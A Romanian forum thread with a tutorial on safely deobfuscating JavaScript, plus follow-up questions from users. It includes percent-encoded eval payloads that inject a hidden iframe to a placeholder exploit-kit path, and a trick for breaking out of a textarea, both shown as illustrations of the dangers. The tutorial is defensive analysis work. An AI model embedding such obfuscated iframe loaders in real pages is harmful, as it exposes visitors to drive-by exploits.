Jump to content
B7ackAnge7z

Decriptarea codului JavaScript

Recommended Posts

Posted

Cu siguran?? mul?i dintre voi cunoa?te?i sintaxa JavaScript, pute?i scrie ?i citi un fragment de cod scris în acest limbaj, îns? cu toate acestea a?i întâlnit scripturi JavaScript, care la prima vedere par indescifrabile. Dac? faci parte din acest grup ?i dore?ti s? afli câteva trucuri ce te-ar ajuta s? decriptezi scripturile „obfuscate” — î?i propun s? cite?ti acest mic tutorial. De asemenea, a? recomanda tutorialul ?i celor care au ceva experien?? în domeniu — c?ci deseori am v?zut c? ei folosesc tehnici nu tocmai sigure pentru a ob?ine un cod lizibil.

Decriptarea-Codului-JavaScript.png

» Ce este un obfuscator ?i la ce folose?te?

În caz c? nu ?tia?i, un obfuscator este aplica?ia ce are ca scop transformarea codului surs? într-un cod indescifrabil, care r?mâne perfect func?ional chiar dac? sursa a fost modificat? ?i la final arat? ca naiba.

De cele mai multe ori, obfuscatorul este folosit pentru a ascunde codul de „cititorii nepofti?i”, astfel încât ei s? nu afle ce func?ie îndepline?te acel script. De asemenea, obfuscatorul mai este folosit ?i pentru a nu permite modificarea ?i utilizarea scriptului f?r? ?tirea autorului.

» Diferen?a dintre a obfusca ?i a comprima

Multe persoane consider? c? a „obfusca” ?i a „comprima” codul este unul ?i acela?i lucru. Gre?it. E important de ?tiut c?, comprimarea se folose?te pentru a minimaliza cantitatea de cod (acest lucru se ob?ine prin eliminarea comentariilor, spa?iilor ?i altor caractere inutile), astfel comprimarea ajut? la sporirea performan?ei aplica?iei WEB. Pe de alt? parte, obfuscarea face exact invers — pentru a fi posibil? criptarea codului, m?re?te cantitatea de cod (ad?ugând func?ii, cicluri, variabile, etc.), astfel reducând considerabil din performan?a aplica?iei WEB.

Pentru a vedea diferen?a dintre obfuscarea ?i comprimarea codului JavaScript, propun s? analiza?i urm?toarele exemple:

>> Codul ini?ial (263 caractere):

// Verific?m adresa site-ului

if (!window.location.hostname != 'www.site.com') {


// Preîntâmpin?m utilizatorul

alert('Acest site incalc? drepturile de autor');


// Redirec?ion?m utilizatorul

window.location.replace('http://www.site.com/');

}

>> Codul comprimat (143 caractere):

if(!window.location.hostname!='www.site.com'){alert('Acest site incalc? drepturile de autor');window.location.replace('http://www.site.com/')}

>> Codul obfuscat (445 caractere):


eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5(!1.2.6!=\'3.0.4\'){7(\'8 0 9? a b c\');1.2.d(\'e://3.0.4/\')}',15,15,'site|window|location|www|com|if|hostname|alert|Acest|incalc|drepturile|de|autor|replace|http'.split('|'),0,{}))

Dup? cum pute?i vedea (dac? decripta?i codul obfuscat) singura asem?nare dintre aceste dou? procese este faptul c? în ambele cazuri vor fi eliminate comentariile JavaScript.

» De ce e periculos s? înlocuim eval() cu document.write()

Am v?zut multe persoane care decodeaz? scripturile înlocuind func?ia
eval()
cu
document.write()
f?r? s? se gândeasc? c? scriptul criptat se rezum? la:

document.write('<iframe src="//xploit/pack"></iframe>');

De exemplu, dac? criptat, codul de mai sus arat? a?a:

eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%2F%2F%78%70%6C%6F%69%74%2F%70%61%63%6B%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));

iar noi înlocuim func?ia
eval()
cu
document.write()
?i execut?m scriptul în browser, iframe-ul v-a înc?rca cu succes con?inutul paginii
//xploit/pack
:

document.write("document.write('<iframe src="//xploit/pack"></iframe>'");

Iat? de ce, niciodat? s? nu folosi?i aceast? metod? (aici ar trebui s? fie un punct) dac? nu rula?i browser-ul pe PC-ul virtual sau nu dori?i s? trimite?i IP-ul spre un server necunoscut.

» Despre JsBeautifier ?i alte aplica?ii similare

Când apar întreb?rile despre decriptarea scripturilor, majoritatea arat? cu degetul spre JsBeautifier sau alte site-uri ce ofer? aplica?ii similare. Recunosc, JsBeautifier e o aplica?ie foarte util?, îns? e foarte limitat? ?i de regul? e foarte simplu s? o p?c?le?ti. De exemplu, lu?m exemplul de mai sus ?i-l modific?m pu?in:

var e = eval, u = unescape;

e(u('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%2F%2F%78%70%6C%6F%69%74%2F%70%61%63%6B%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));

Dac? o s? încerca?i s?-l decripta?i cu JsBeautifier, v? anun? din start — pur ?i simplu ve?i r?mâne dezam?gi?i.

» Modalit??i gre?ite de decriptare a codului JavaScript

Nu exclud faptul c? mul?i nu vor fi de acord, dar personal consider c? a înlocui func?ia
eval()
cu
alert()
este o metod? gre?it? (acest lucru se refer? ?i la
console.log()
sau alt? func?ie similar?). Consider astfel, deoarece aceste func?ii nu permit decriptarea rapid? a codului criptat, plus citirea codului primit e foarte dificil?. Imagina?i-v?, un cod de 10k de caractere care apeleaz? de peste 100 ori la func?ia
eval()
— cu siguran?? trebuie s? ai nervi de o?el.

O alt? metod? gre?it?, dar ?i periculoas?, este ad?ugarea unei linii
document.write('<textarea>');
înainte de codul criptat ?i înlocuirea func?iei
eval()
cu
document.write()
. Dac? luam exemplul de mai sus, primim urm?torul cod:

document.write('<textarea>');

document.write(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%2F%2F%78%70%6C%6F%69%74%2F%70%61%63%6B%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));

document.write('</textarea>');

La executare vom primi un rezultat destul de interesant — va ap?rea un element de tip textarea în care v-a fi scris codul iframe-ului:

<textarea><iframe src="//xploit/pack"></iframe></textarea>

La prima vedere nimic periculos — iframe-ul nu a înc?rcat nimic, iar codul l-am primit în siguran?? f?r? a permite executarea unor altor func?ii sau linii de cod. Pericolul totu?i exist?, pentru c? cel care a criptat scriptul s-a gândit c? se vor g?si doritori de ai analiza capodopera, ?i cu siguran?? la codul surs? v-a ad?uga ?i ceva de genul:

// </textarea>

iar criptat, codul v-a ar?ta a?a:

document.write(unescape('%2F%2F%20%3C%2F%74%65%78%74%61%72%65%61%3E%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%2F%2F%78%70%6C%6F%69%74%2F%70%61%63%6B%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));

La executare, dat fiind faptul c? HTML nu percepe comentariile JavaScript, linia
// </textarea>
v-a închide tag-ul elementului
<textarea>
?i iframe-ul v-a înc?rca exploit-ul cu succes.

» Decriptarea eficient? ?i sigur? a unui cod JavaScript

Metoda pe care vreau s? v-o prezint, o foloseam cu ceva timp în urm?, ?i întotdeauna mi-a permis s? decodez rapid practic orice cod criptat scris în JavaScript. De aceea m-am gândit c? ar fi bine scriu despre aceasta, astfel ajutând pe cei mai pu?ini experimenta?i ?i protejându-i de eventualule pericole. Apropo, ar fi dr?gu? dac? a?i posta comentarii în care s? descrie?i metodele folosite de voi.

Deci, metoda e foarte simpl? — trebuie s? redefinim func?iile
eval()
?i
document.write()
, iar datele trimise c?tre acestea s? le scriem într-o c?su??:

<!-- Cre?m c?su?a unde for fi salvate datele -->

<textarea id="js" style="width:80%;height:200px"></textarea>


<script>

// Ob?inem elementul textarea

var txt = document.getElementById('js');


// Redefinim func?iile

document.write = window.eval = function (str) {


// Scriem codul ce trebuia executat în c?su?a textarea

txt.value += str; // Nu ne facem probleme în privin?a tag-urilor HTML, deoarece

// browser-ul are grij? ca c?su?a s? fie completat? corespunz?tor

};

</script>

Dac? compres?m codul de mai sus, ob?inem dou? linii de cod, care mereu trebuie s? fie la îndemân?:

<textarea id="js" style="width:80%;height:200px"></textarea>

<script>var txt=document.getElementById('js');document.write=window.eval=function(str){txt.value+=str}</script>

Desigur, dac? întâlni?i zilnic astfel de „sarcini”, poate fi creat ?i un JavaScript Bookmarklet, care s? fie accesat direct din browser.

Nu recomand aceast? metod? (de alt fel, ca ?i oricare alta) celor care nu au idee ce fac func?iile
document.createElement()
sau
{obj}.appendChild()
— ar fi prea periculos. Iar în caz c? v? este fric? de alte func?ii, dar totu?i dori?i s? decripta?i orice cod scris în JavaScript — pur ?i simplu redefini?i-le al?turi de
eval()
?i
document.write()

Decriptare pl?cut?

?i f?r? incidente.

Posted (edited)
Dac? sincer, nu prea am în?eles ce ai dorit s? spui: prea pu?ine detalii sau mie îmi scap? ceva?

Nu ma pricep la criptari si decriptari javascript, doar intreb.

1. Am recitit tutorialul si am gasit asta: "înlocui func?ia eval() cu alert()" la capitolul decriptare. Nu inteleg... daca inlocuiesti eval cu alert, atunci nu ar trebui ca sa iti apara un pop-up cu textul criptat? Ai vrut sa spui: sa pui un alert in fata la eval?

2. Ai spus ca document.write si document.write cu textarea sunt decriptari periculoase. Apoi ai aratat o decriptare sigura si eficienta: de fapt, crearea dinamica a unui textarea si introducerea codului decriptat in el. Intr-adevar, mi se pare si mie sigura, insa... toate aceste decriptari se fac in browser. Practic, ca sa vezi textul decriptat, te folosesti de browser. Pai si daca nu te folosesti de el?

Solutii in afara browserului imi vin 2 in minte: decriptarea online (e totusi, browserul, dar codul ti-l ofera trecut printr-un server care banuiesc ca are filtre) si scrierea intr-un fisier. Banuiesc ca exista niscai librarii js ce ofera functii de write, read, append in fisiere. Creezi un fisier .txt, si copiezi tot textul decriptat in el. Nu folosesti browserul sa citesti codul. Folosesti notepad.

Sunt doar idei, nu le-am testat. Pareri?

Edited by fulminator
Posted
Nu inteleg... daca inlocuiesti eval cu alert, atunci nu ar trebui ca sa iti apara un pop-up cu textul criptat?

Acest lucru ?ine de programare ?i nu doar de decriptarea codului. De exemplu, urm?torul cod:

eval(unescape("%61%6C%65%72%74%28%22%22%29"));

este versiunea ini?ial? a acestui cod:

var str = unescape("%61%6C%65%72%74%28%22%22%29");
eval(str);

Sper c? acum ai în?eles de ce nu primim alert-ul cu codul criptat, dac? înlocuim eval() cu alert(). Apropo, prive?te ce periculos ar fi dac? adaugi alert() în fa??:

var str = unescape("%61%6C%65%72%74%28%22%22%29");
var result = eval(str);
alert(result);

Solutii in afara browserului imi vin 2 in minte: decriptarea online (e totusi, browserul, dar codul ti-l ofera trecut printr-un server care banuiesc ca are filtre) si scrierea intr-un fisier. Banuiesc ca exista niscai librarii js ce ofera functii de write, read, append in fisiere. Creezi un fisier .txt, si copiezi tot textul decriptat in el. Nu folosesti browserul sa citesti codul. Folosesti notepad.

În orice caz ai nevoie de browser sau JavaScript Engine pentru a executa codul JavaScript. Îns? (momentan) nu v?d nici un motiv pentru care ai dori s? faci acest lucru. Cât despre decriptarea online — majoritatea aplica?iilor oricum decripteaz? codul în browserul utilizatorului.

Posted

Acum inteleg de ce alert-ul il afiseaza necriptat, mersi.

În orice caz ai nevoie de browser sau JavaScript Engine pentru a executa codul JavaScript.

Sunt eu cam greu de cap, insa nu inteleg... Era vorba de decriptarea codului javascript obfuscat, nu de rularea lui. Pai de ce as executa codul javascript daca e susceptibil de a fi malicios? Pai eu nu vreau sa il execut. Eu vreau sa il decriptez si sa il citesc. Si atunci... I don't really need the browser to read text.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...